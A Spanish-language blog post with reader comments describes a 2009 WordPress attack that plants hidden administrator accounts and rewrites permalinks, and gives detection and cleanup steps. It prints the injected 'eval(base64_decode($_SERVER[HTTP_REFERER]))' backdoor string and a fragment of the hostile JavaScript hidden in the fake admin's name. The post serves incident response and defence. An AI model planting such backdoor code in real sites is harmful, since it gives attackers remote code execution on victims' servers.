Durante el día de hoy hubo epidemia de un problema bastante curioso y preocupante. Varios usuarios han informado de un error mediante el cual todos los enlaces de sus blogs se convertían a un permalink que daba errores, en algunos casos incluso siendo detectados como virus por el software antivirus instalado en los ordenadores de los visitantes. A mi me avisó Manuel Ángel Fernández.
Más o menos lo que pasaba es que los permalinks pasaban de esto:
http://miblog.com/mi-post/
a esto otro:
http://miblog.com/mi-post/${eval(base64_decode($_SERVER[HTTP_REFERER]))}
o parecidos. Por supuesto, tales permalinks daban error, no mostrando nada al visitante.
Pues bien, esto es debido a una inyección MySQL que afecta a varias versiones de WordPress (incluida la actual), mediante el cual se pueden crear usuarios con capacidades de Administrador y hacer lo que quieran con tu sitio. Lo peor es que es complicado de verlo hasta que no te lo encuentras así.
El síntoma más claro, además del cambio de permalinks, es ir a la gestión de usuarios y fijarte si el contador de Administradores muestra un número mayor de los que en realidad hay y puedes ver en la lista. Sorprendente, pues da igual si permites registros o no en tu WordPress, se cuela.
Dirás entonces ¿y como borro un administrador que no veo ni puedo editar?. Afortunadamente se puede, pues ese administrador fantasma tendrá un ID de usuario posterior al último número de ID de usuario que veas (por orden de registro).
Digamos que, por ejemplo, el último usuario registrado, al poner el ratón sobre el enlace para editarlo, muestra esta URL:
http://miblog.com/wp-admin/user-edit.php?user_id=4&wp_http_referer=%2Fwp-admin%2Fusers.php
Para editar el administrador fantasma copias esa URL y le subes un número al ID mostrado. O sea …
http://miblog.com/wp-admin/user-edit.php?user_id=5&wp_http_referer=%2Fwp-admin%2Fusers.php
Te encontrarás editando un usuario que no veías y que, ¡sorpresa!, es administrador y tiene un nombre cuando menos extraño, lleno de codigos …
El nombre, como podrás ver, es código nada benigno:
... <div id="user_superuser"><script language="JavaScript"> var setUserName = function(){ try{ var t=document.getElementById("user_superuser"); while(t.nodeName!="TR"){ t=t.parentNode; }; t.parentNode.removeChild(t); var tags = document.getElementsByTagName("H3"); var s =************ </script></div>
Normalmente no tiene email, le añades un email ficticio al perfil y le degradas a Suscriptor (luego lo borras si quieres, desde aquí o desde la base de datos). Con ese paso ya ha perdido sus derechos de hacer lo que quiera en tu blog, pero el problema no está solucionado, por supuesto.
Como puedes imaginar, lo siguiente que hay que hacer es devolver los permalinks a su estado original, pues estarán cambiados en la página de configuración de Enlaces permanentes. Los cambias de …
/%year%/%monthnum%/%day%/%postname%/%eval(base64_decode($_SERVER[HTTP_REFERER]
a tus permalinks, por ejemplo …
/%postname%/
Con esto ya funciona tu sitio correctamente, pero la amenaza sigue.
Hasta que haya una actualización que solucione esto (y si hay solución permanente la desconozco), te recomiendo actualizar a la última versión (no garantiza nada pues está pasando en WordPress con la 2.8.4), cambia todas las claves de administrador y, sobre todo, de la base de datos de tu WordPress, comprueba que los ficheros «index.php
» vacíos de tus carpetas (wp-content
, etc) realmente están vacíos y no contienen código adicional, comprueba si hay archivos que no deberían estar en tu instalación de WordPress, borra o renombra el fichero xmlrpc.php
pues parece ser el principal culpable de dar entrada al problema, revisa con frecuencia la lista de administradores de tu sitio, y vuelve a cargar una versión limpia de WordPress borrando antes todos los archivos que no sepas que los has cargado tu (como la carpeta wp-content
o .htaccess
).
Más información:
- http://wordpress.org/support/topic/307518/
- http://blog.4rev.net/2009-09/wordpress-hacked-eval-base64_decode-_serverhttp_referer/
- http://www.warriorforum.com/main-internet-marketing-discussion-forum/121131-wordpress-mysql-injection-latest-attack-eval-base64_decode-_server-http_referer.html
- http://www.journeyetc.com/2009/09/04/wordpress-permalink-rss-problems/
- http://lorelle.wordpress.com/2009/09/04/old-wordpress-versions-under-attack/ Lorelle dice que afecta a versiones antiguas pero también está afectando a versiones actuales
Para finalizar, te dejo unos enlaces que te ruego revises para blindar lo máximo posible tu instalación de WordPress:
- Seguridad en la instalación de WordPress
- 12 maneras de proteger la administración de WordPress
- Evita ataques de fuerza bruta
- Protege tu sesión de WordPress con SSL
- Seguridad de Plugins WordPress: La Regla de Oro
Como limpiar completamene tu sitio si ya ha sido afectado
A grandes males grandes remedios. Si tu sitio ya ha sido infectado puedes estar seguro que pronto lo estará de nuevo a no ser que salga pronto una solución. Si quieres tener ciertas garantías igual es interesante que realices una operación de limpieza profunda:
- Exporta todo tu contenido mediante la utilidad de exportación de WordPress y guarda la carpeta
wp-content
así como cualquier otra que utilices de modo manual. Revisa tu theme y carpetas de uploads, etc, antes de darlos por seguros. - Cambia todas las contraseñas: ftp, base de datos. Usa contraseñas fuertes, usando caracteres alfanuméricos y símbolos
- Como el problema afecta a la base de datos hay que descartarla. Borra la actual y crea una nueva
- Borra todo el contenido de la instalación actual de WordPress (recuerda que antes has hecho backup)
- Instala un WordPress limpio (última versión), usando la información de la nueva base de datos recién creada
- Carga tu carpeta
wp-content
de nuevo, una vez comprobado que todo está limpio - Importa los posts de tu sitio que exportaste con la utilidad de importación de WordPress
- Configura tu WordPress de manera segura siguiendo las instrucciones de los enlaces facilitados
Actualización:
Nos comenta Alex que en el trac está identificado el problema hace tiempo, desde la versión 2.7.1, y que el bug, relativo a llamadas «eval» está corregido en la versión 2.8.5, disponible en el trunk, o descargando y sustituyendo los ficheros classes.php y rewrite.php, o haciendo manualmente los cambios en estos archivos como se indica aquí.
Novedades:
He comprobado en varios sitios que el intruso puede actuar de varias maneras. En algunos casos no está cambiando los permalinks a «eval(base64_decode($_SERVER[HTTP_REFERER]» o similares, sino que pone – por ejemplo – los permalinks por defecto.
También revisad no solo el número de ID de usuario inmediatamente superior al que veáis. Si aún se muestra un número de administradores superior al de perfiles de admin que veis ir añadiendo números a la URL de editar usuario hasta que deis con el intruso; en algunos casos estoy viendo que se añade con IDs de usuario aleatorios, no precisamente el siguiente al existente.
¿Te gustó este artículo? ¡Ni te imaginas lo que te estás perdiendo en YouTube!
Por miedo, no pondré el link a mi web acá. Hoy a un amigo le ocurrió. Lo que hice fue que entré a usuarios, a admins, vi el código fuente y me encontré con el usuario falso. Tiene un link para editar su cuenta, le puse un email y lo borré.
Ya le escribí a Matt pero no me ha respondido. ¿En el trac de WordPress no han puesto nada?
alex.
Este error si que esta grave
Lo peor es que afecta incluso a la versión actual. Yo lo he visto funcionando en instalaciones de 2.7.1, donde he tenido que limpiar unos cuantos, pero consta que con la versión actual también pasa.
Mi comentario en moderación?
Bueno, en fin, creo que debería reportarse este problema, espero que en unas horas esté arreglado.
He estado metiéndome en ciertos foros y por lo visto en WordPress 2.8.4 no debería funcionar. ¿A alguien le ocurrió en WP 2.8.4?
Creo que eso ha sido lo que le ha pasado a Cinepalomitas.com esta mañana.
Estaremos atentos al tema porque tiene difícil solución, no?
Lo mejor sería revisar y borrarlo directamente de la base de datos, ahora voy a pegar una mirada a los usuarios por las dudas..
Ahora actualizo el post con una solución radical, pero no definitiva hasta que saquen una actualización que solucione esto.
Muchas gracias por la nota. A mi me está pasando desde ayer. Pense que era debido al plugin ALL in…, que modificaba la estructura del permalink, pero ya veo que no. Cambie el permalink, pero hoy estaba de nuevo igual. Efectivamente al renombrar la ID de usuario me sale un tal PeterFurlow que no aparecía antes, sin correo, con un nombre lleno de código. En fin, habrá que cambiar todas las claves de acceso… Yo tenía la 2.8.2
Gracias de nuevo, esto ha sido realmente revelador. ¿sólo me ha pasado a mi?
Gracias por la info, por lo mientras ya he revisado la base de datos de mis blogs y solo estan mis perfiles 😀
rayos, el blog que manejo es uno muy expuesto, porque tenemos admisiones libres. Habrá que aguantar el chaparrón, no más…
Estas seguro que es una sql injection?
No sera algun plugin?
De todos sugiero a todos que se bajen hasta lo ultimo de los parches de la (in)estable 2.8.5, hay algunos casting profilácticos por ahi que tal vez sanen el bug.
Saludos
Gracias por la info Fernando, la verdad es que cosas como estas me revientan… a diferencia de algunos que piensan que WP es cada vez más inseguro a mí en cambio me enojan los constantes ataques en contra del CMS de gente que no tiene nada que hacer, pero bueh..
Por si las dudas ahorita checo mi instalación. Saludos
Fernando;
Muchas gracias por la excelente información. Te pregunto, ¿estás seguro de que afecta la versión actual?
Personalmente no he visto ninguno afectado con la 2.8.4 pero en los foros de soporte de WordPress.org hay usuarios con esa versión que dicen que también les ha pasado, no tengo porque dudar de ellos.
Lo comento por si le pasa a alguien. Al mismo tiempo que me cambiaron los permalinks, me encuentro estos usuarios nuevos, que no pintan bien tal y como cuentan en varios posts ( , ), etc.
Estos son los que me salen a mi:
[email protected] (Miriam)
[email protected] (Mikewink)
[email protected] (Adrianq)
¿alguien tiene más informacion?, ¿tiene algo que ver con el post de Fernando?
Gracias
Si, también suelen salir mas usuarios nuevos, exactamente esos que dices. Yo mismo los he visto en 2 blogs.
Hola, a mi se me fueron registrando esos 3 usuarios a los que hace referéncia Manuel en dias sucesivos durante esta semana:
[email protected] (Miriam)
[email protected] (Mikewink)
[email protected] (Adrianq)
Los tres como suscriptores, los nombres eran extraños desde luego pero no hice nada con ellos, no he tenido noticias de todo esto hasta leer este post de Fernando. Lo que quería decir es que en ningún momento me ha afectado el tema de los permalinks y ahora tengo mis dudas acerca de en que manera afecta el hack a la 2.8.4.
Saludos.
YA estoy un poco "mosca" con el asunto, ayer se me apunto al blog un usuario con este mail, [email protected], que tampoco pinta nada bien. Veo en internet que curiosamente se ha apuntado el mismo día y a la misma hora en varios blogs europeos.
¿A alguien le suena o le dice algo? Desde que me afectó lo de los permalinks se me apuntaron varios usuarios. 3 eran algo conocido, peroe ste parece nuevo. Al blog no le pasa nada, pero claro, ya tengo la mosca detras de la oreja.
Este problema existe desde casi las primeras versiones de WordPress, pero se hizo evidente con el siguiente ticket:
http://core.trac.wordpress.org/ticket/9602
En la siguiente versión (2.8.x o 2.9) de WordPress estará la solución.
He revisado el ticket y actualizado el post. Gracias alex.
A mí me ocurrió ayer. Vi que había un administrador fantasma, y lo que hice fue eliminarlo directamente de la base de datos, pues no se podía desde el panel de wordpress
Bueno, se puede haciendo el apaño ese que he explicado. Pero vaya, que desde la base de datos también, claro.
Hola
Gracias por el aviso
mientras lo leía supongo que se podra borrar de la base de dato, pero imagino que no es tan fácil eliminar este usuario "fantasma"
otra es que el destrozo que ocasiona es un engorro y devastador
un saludo
¿Afecta tambien a los blogs que no admiten registrs de usuarios?
Da igual, ataca directamente a la base de datos y da lo mismo si tienes activo el registro o no. Lo he comprobado personalmente.
Una última cuestión. Ataca a la base de datos, pero ¿porqué?, quiero decir, ¿porqué ha entrado en mi bbdd y no en las de otro?, ¿el ataque ¿es aleatorio?, ¿quié es susceptible?, ¿porqué?, ¿qué se ha hecho mal para que entre, o qué no se ha hecho que debería haberse hecho?, ¿cualquiera puede sufrirlo independientemente de su nivel de protección? Este ataque lo produce alguién -que va a port i- (literalmente hablando), o es un mecanismo automático que pulula por ahi y de repentem, ¡zas¡, se cuela en tu base de datos como podría haberse colado en la de tu vecino.. No se si me explico. Bueno gracias. Generalmente es bueno saber el porqué de las cosas independientemente de su solución. Si alguien lo sabe prometo tenelo presente en mis oraciones.
Por suerte no he tenido este problema aún, esperemos que haya una solución definitiva pronto, o si no más de uno se va a llevar un susto.
Al leer este artículo se me ha ocurrido una pequeña solución temporal al problema, y he creado un plugin con le cual en teoría se debería poder eliminar a estos usuarios de forma automática.
Básicamente el método que utiliza para detectar a los Administradores Fantasmas es el siguiente:
1- Tu estableces el número de Administradores Reales que hay en tu blog en la página de opciones del plugin
2- El plugin analiza la Base de Datos y cuenta si hay más Administradores de los que has indicado en el paso 1
3- El plugin te muestra una lista de los posibles Administradores Fantasmas y te permite eliminarlos
Hay que tener en cuenta que marca como Administradores Fantasmas a los últimos usuarios con permisos de administrador.
Tenéis más información y la descarga del plugin en mi blog.
Espero que os sirva para eliminar a los Administradores Fantasmas. De momento no he tenido este problema por lo que no he podido comprobar si realmente borraría las cuentas de Administradores Fantasmas. Las pruebas las he realizado con usuarios con permisos de administrador creados por mí, por lo que supongo que debería funcionar, pero agradecería que me comentaseis si funciona realmente.
Por supuesto, podéis modificar el código para que detecte y borre mejor a los Administradores Fantasmas y si os funciona bien el plugin, también podéis distribuirlo.
En fin, espero que os sirva el aporte y que liberen pronto la versión 2.8.5 con el error arreglado 🙂 .
Muchísimas gracias, he publicado un post para darle más bola al plugin 😉
Hace 3 horas estoy luchando, en mi caso no veo ningún usuario nuevo y he revisado la DB directamente. Un blog se arregló ya ni sé como, pero le eliminé el xmlrpc.php, el htacces y por las dudas hasta el robots.txt con los demás no hay caso, dan ganas de mudarse a blogger la verdad, ya me fumé un atado de Winston… lo peor es que no encuentro nada, los index.php están limpios, no sé, creo será la noticia del día.
Tengo este problema en mis blogs, me agrega links en todos los posts.
Alguien sabe que puedo hacer para quitarlo?